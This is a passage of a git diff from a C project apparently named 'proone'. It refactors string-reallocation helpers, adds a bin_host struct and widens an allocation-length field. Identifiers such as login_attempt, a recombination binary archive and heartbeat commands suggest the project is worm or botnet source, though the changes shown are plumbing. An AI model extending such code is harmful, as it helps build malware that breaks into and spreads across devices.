&prne_g.rcb_param; + if (prne_g.has_ba) { + bne_param.rcb = &prne_g.rcb_param; + } bne_param.login_attempt = PRNE_BNE_LOGIN_ATTEMPT; } @@ -1427,9 +1429,10 @@ int main (int argc, char **args) { prne_g.blackhole[1] = -1; prne_g.shm_fd = -1; prne_init_rcb_param(&prne_g.rcb_param); + prne_g.bin_host.os = PRNE_HOST_OS; + prne_g.bin_host.arch = PRNE_HOST_ARCH; prne_g.rcb_param.ba = &prne_g.bin_archive; - prne_g.rcb_param.self.os = PRNE_HOST_OS; - prne_g.rcb_param.self.arch = PRNE_HOST_ARCH; + prne_g.rcb_param.self = &prne_g.bin_host; prne_init_bin_archive(&prne_g.bin_archive); mbedtls_x509_crt_init(&prne_g.ssl.ca); prne_mbedtls_entropy_init(&prne_g.ssl.entpy); diff --git a/src/proone.h b/src/proone.h index 0acb17f..0f4e9a6 100644 --- a/src/proone.h +++ b/src/proone.h @@ -32,6 +32,7 @@ struct prne_global { // TODO: tidy init code when finalised int blackhole[2]; int shm_fd; prne_rcb_param_t rcb_param; + prne_bin_host_t bin_host; uint8_t *m_dvault; bool is_child; bool has_ba; diff --git a/src/protocol.h b/src/protocol.h index 703480e..e244d6c 100644 --- a/src/protocol.h +++ b/src/protocol.h @@ -278,7 +278,7 @@ struct prne_htbt_cmd { }; struct prne_htbt_bin_meta { - uint32_t alloc_len; + size_t alloc_len; prne_htbt_cmd_t cmd; }; diff --git a/src/util_rt.c b/src/util_rt.c index 185faee..c03ee2e 100644 --- a/src/util_rt.c +++ b/src/util_rt.c @@ -103,16 +103,24 @@ void *prne_calloc (const size_t se, const size_t cnt) { } char *prne_alloc_str (const size_t len) { + return prne_realloc_str(NULL, len); +} + +char *prne_realloc_str (char *old, const size_t len) { if (len == SIZE_MAX) { errno = ENOMEM; return NULL; } - return (char*)prne_malloc(1, len + 1); + return (char*)prne_realloc(old, 1, len + 1); } char *prne_dup_str (const char *str) { + return prne_redup_str(NULL, str); +} + +char *prne_redup_str (char *old, const char *str) { const size_t len = prne_nstrlen(str); - char *ret = prne_alloc_str(len); + char *ret = prne_realloc_str(old, len); if (ret == NULL) { return NULL; diff --git a/src/util_rt.h b/src/util_rt.h index cdc6d50..ea1c707 100644 --- a/src/util_rt.h +++ b/src/util_rt.h @@ -27,7 +27,9 @@ void *prne_malloc (const size_t se, const size_t cnt); void *prne_realloc (void *ptr, const size_t se, const size_t cnt); void *prne_calloc (const size_t se, const size_t cnt); char *prne_alloc_str (const size_t len); +char *prne_realloc_str (char *old, const size_t len); char *prne_dup_str (const char *str); +char *prne_redup_str (char *old, const char *str); void prne_free (void *ptr); size_t prne_getpagesize (void); |